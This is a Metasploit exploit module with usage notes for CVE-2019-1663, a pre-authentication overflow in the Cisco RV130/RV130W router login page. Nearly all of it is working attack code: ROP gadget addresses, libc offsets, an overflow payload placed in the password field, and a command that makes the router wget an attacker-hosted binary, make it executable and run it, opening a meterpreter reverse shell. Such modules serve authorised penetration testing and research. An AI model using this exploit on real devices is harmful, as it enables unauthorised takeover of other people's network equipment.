Exploit for CVE-2019-1663 on Cisco RV130(W).
Quentin Kaiser
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# Cisco RV130W Routers Management Interface Remote Command Execution
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A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.
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The vulnerability is due to improper validation of user-supplied data in the web-based management interface. An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.
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A successful exploit could allow the attacker to execute arbitrary code on the underlying operating
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system of the affected device as a high-privilege user.
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## Vulnerable Device
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* RV130 Multifunction VPN Router versions prior to 1.0.3.45 are affected.
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* RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.
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This exploit was specifically written against version 1.0.3.28. To test, you can find the
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firmware here: https://software.cisco.com/download/home/285026141/type/282465789/release/1.0.3.28
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## Verification Steps
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1. Start msfconsole
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2. ```use exploit/linux/http/cisco_rv130_rmi_rce```
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4. ```set rhost [IP]```
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5. ```set payload linux/armle/meterpreter_reverse_tcp```
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6. ```set lhost [IP]```
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7. ```exploit```
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8. You should get a session
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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# linux/armle/meterpreter/bind_tcp -> segfault
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# linux/armle/meterpreter/reverse_tcp -> segfault
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# linux/armle/meterpreter_reverse_http -> works
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# linux/armle/meterpreter_reverse_https -> works
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# linux/armle/meterpreter_reverse_tcp -> works
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# linux/armle/shell/bind_tcp -> segfault
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# linux/armle/shell/reverse_tcp -> segfault
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# linux/armle/shell_bind_tcp -> segfault
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# linux/armle/shell_reverse_tcp -> segfault
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#
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Cisco RV130W Routers Management Interface Remote Command Execution',
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'Description' => %q{
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A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router
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could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.
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The vulnerability is due to improper validation of user-supplied data in the web-based management interface.
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An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.
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A successful exploit could allow the attacker to execute arbitrary code on the underlying operating
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system of the affected device as a high-privilege user.
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RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.
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},
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'Author' =>
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[
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'Yu Zhang <>', # Initial discovery
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'Haoliang Lu <>', # Initial discovery
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'T. Shiomitsu <>', # Initial discovery
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'Quentin Kaiser <kaiserquentin@gmail.com>' # Vulnerability analysis & exploit dev
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],
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'License' => MSF_LICENSE,
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'Platform' => %w[linux],
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'Arch' => [ARCH_ARMLE],
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'SessionTypes' => %w[meterpreter],
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'Privileged' => true, # BusyBox
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'References' =>
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[
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['CVE', '2019-1663'],
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['CISCO-SA', '20190227'],
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['BID', '107185'],
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['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'],
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],
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'DefaultOptions' => {
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'WfsDelay' => 10,
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'SSL' => true,
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'RPORT' => 443,
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'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
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},
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'Targets' =>
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[
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[ 'Cisco RV130 < 1.0.3.45',
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{
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'offset' => 446,
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'libc_base_addr' => 0x357fb000,
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'system_offset' => 0x0004d144,
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'gadget1' => 0x00020e79, # pop {r2, r6, pc};
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'gadget2' => 0x00041308, # mov r0, sp; blx r2;
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'Arch' => ARCH_ARMLE,
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}
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],
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[ 'Cisco RV130W < 1.0.3.45',
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{
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'offset' => 446,
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'libc_base_addr' => 0x357fb000,
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'system_offset' => 0x0004d144,
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'gadget1' => 0x00020e79, # pop {r2, r6, pc};
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'gadget2' => 0x00041308, # mov r0, sp; blx r2;
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'Arch' => ARCH_ARMLE,
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}
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],
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],
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'DisclosureDate' => 'Feb 27 2019',
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'DefaultTarget' => 0))
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end
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def p (offset)
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[(target['libc_base_addr'] + offset).to_s(16)].pack('H*').reverse
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end
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def prepare_shellcode(cmd)
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#All these gadgets are from /lib/libc.so.0
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shellcode = rand_text_alpha(target['offset']) + # filler
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p(target['gadget1']) +
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p(target['system_offset']) + # r2
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rand_text_alpha(4) + # r6
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p(target['gadget2']) + # pc
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cmd
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shellcode
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end
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# Handle incoming requests from the server
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def on_request_uri(cli, request)
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#print_status("on_request_uri called: #{request.inspect}")
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if (not @pl)
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print_error("#{peer} - A request came in, but the payload wasn't ready yet!")
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return
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end
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print_status("#{peer} - Sending the payload to the device...")
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@elf_sent = true
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send_response(cli, @pl)
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end
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def send_request (payload)
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begin
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send_request_cgi({
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'uri' => '/login.cgi',
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'method' => 'POST',
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'vars_post' => {
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"submit_button": "login",
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"submit_type": "",
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"gui_action": "",
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"wait_time": 0,
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"change_action": "",
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"enc": 1,
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"user": "cisco",
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"pwd": payload,
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"sel_lang": "EN"
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}
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})
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
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end
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end
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def exploit
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print_status("#{peer} - Attempting to exploit #{target.name}")
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downfile = rand_text_alpha(8+rand(8))
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@pl = generate_payload_exe
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@elf_sent = false
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resource_uri = '/' + downfile
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#do not use SSL
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if datastore['SSL']
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ssl_restore = true
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datastore['SSL'] = false
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end
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if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
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srv_host = Rex::Socket.source_address(rhost)
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else
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srv_host = datastore['SRVHOST']
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end
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service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
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print_status("#{peer} - Starting up our web service on #{service_url} ...")
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start_service({'Uri' => {
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'Proc' => Proc.new { |cli, req|
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on_request_uri(cli, req)
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},
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'Path' => resource_uri
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}})
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datastore['SSL'] = true if ssl_restore
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print_status("#{peer} - Asking the device to download and execute #{service_url}")
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filename = rand_text_alpha_lower(rand(8) + 2)
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cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"
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shellcode = prepare_shellcode(cmd)
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send_request(shellcode)
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end
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end
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